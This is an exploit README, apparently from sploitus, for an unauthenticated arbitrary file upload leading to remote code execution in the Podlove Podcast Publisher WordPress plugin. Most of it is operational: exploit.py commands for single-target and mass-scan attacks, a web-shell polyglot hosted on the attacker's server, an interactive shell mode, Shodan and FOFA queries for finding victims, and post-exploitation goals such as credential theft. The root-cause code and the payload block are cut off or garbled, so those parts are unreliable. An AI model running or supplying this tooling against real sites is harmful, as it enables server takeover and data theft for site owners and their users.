## https://sploitus.com/exploit?id=4C5795DB-3F06-5A8C-9334-F40AEBDF8292
# CVE-2026-13001
## Podlove Podcast Publisher **CVSS 9.8 (Critical)** | Unauthenticated Arbitrary File Upload leading to Remote Code Execution
---
### Overview
Critical vulnerability in the [Podlove Podcast Publisher](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/) WordPress plugin (versions up to and including 4.5.1) that allows **unauthenticated attackers** to upload arbitrary PHP files to the server via the image cache functionality, leading to **Remote Code Execution (RCE)**.
The vulnerability exploits a **mismatch between two internal functions** that parse file extensions differently:
| Function | Method | Input: `payload.php?.gif` | Result |
|---|---|---|---|
| `is_image()` | `basename()` then `pathinfo()` | `payload.php?.gif` | `.gif` (passes validation) |
| `extract_file_extension()` | `parse_url()` then `pathinfo()` | `/payload.php` | `.php` (saved to disk) |
---
### Vulnerability Details
| Field | Value |
|---|---|
| **CVE ID** | [CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001) |
| **CVSS** | 9.8 (Critical) |
| **CWE** | CWE-20 (Improper Input Validation) |
| **Plugin** | Podlove Podcast Publisher |
| **Affected** | Versions up to and including 4.5.1 |
| **Patched** | 4.5.2 |
| **Type** | Unauthenticated Arbitrary File Upload to RCE |
| **Researcher** | Talal Nasraddeen (via Wordfence) |
| **Published** | July 14, 2026 |
---
### Root Cause Analysis
The vulnerability exists because two functions in the Podlove plugin parse the **same URL** but extract **different file extensions**:
#### 1. `is_image()` โ Validation (in `lib/helper.php`)
```php
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" RCE achieved
```
---
### Installation
```bash
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
```
---
### Usage
#### Single Target
```bash
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
```
#### Mass Scan
```bash
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
```
#### Interactive Mode (direct access to uploaded file)
```bash
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
```
#### Debug Mode
```bash
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
```
#### Options
```
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
```
---
### Payload: GIF89a PHP Polyglot
The `shell_polyglot.gif.php` is a **polyglot file** that is valid as both a GIF image and PHP:
```
GIF89a
```
**Important**: The polyglot must be hosted as a **static file** (e.g., Cloudflare R2, AWS S3, nginx without PHP). If the hosting server processes PHP, the code runs on the hosting server instead of being delivered as raw content to the target.
---
### FOFA / Shodan / ZoomEye
```
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
```
---
### Impact
Successful exploitation yields **remote code execution** as the web server user:
- Extract database credentials from wp-config.php
- Access all WordPress users, posts, and plugin data
- Deploy persistent access mechanisms
- Pivot to internal networks
- Full server compromise
---
### Remediation
1. **Update** to Podlove Podcast Publisher **4.5.2** or later
2. **Delete** contents of `wp-content/cache/podlove/` directory
3. **Audit** server for unknown PHP files in cache directories
4. **Monitor** access logs for suspicious `podlove_image_cache_url` requests
---
### Relationship to CVE-2025-10147
This vulnerability is a **bypass of the fix** for CVE-2025-10147 (Podlove <= 4.2.6).
| Aspect | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| Root cause | No file type validation at all | Validation bypass via extension confusion |
| Technique | Direct PHP file upload | GIF89a polyglot + URL query trick |
| Fix applied | Added `is_image()` with denylist | Fixed extension parsing consistency |
See [analysis/CVE_COMPARISON.md](analysis/CVE_COMPARISON.md) for detailed comparison.
---
### References
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/podlove-podcasting-plugin-for-wordpress/podlove-podcast-publisher-451-unauthenticated-arbitrary-file-upload-via-podlove-image-cache-url-parameter)
- [GitHub Fix Commit](https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387)
- [WordPress Plugin Page](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/)
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-13001)
---
### Disclaimer
**FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.**
This tool is intended for security researchers and penetration testers with **explicit written authorization** to test target systems. Unauthorized access to computer systems is illegal. The authors assume **no liability** for misuse of this tool.
---
### Author
**ghostpel-sec** โ Security Research & Exploit Development
### License
This project is licensed under the [ghostpel-sec Security Research License](LICENSE).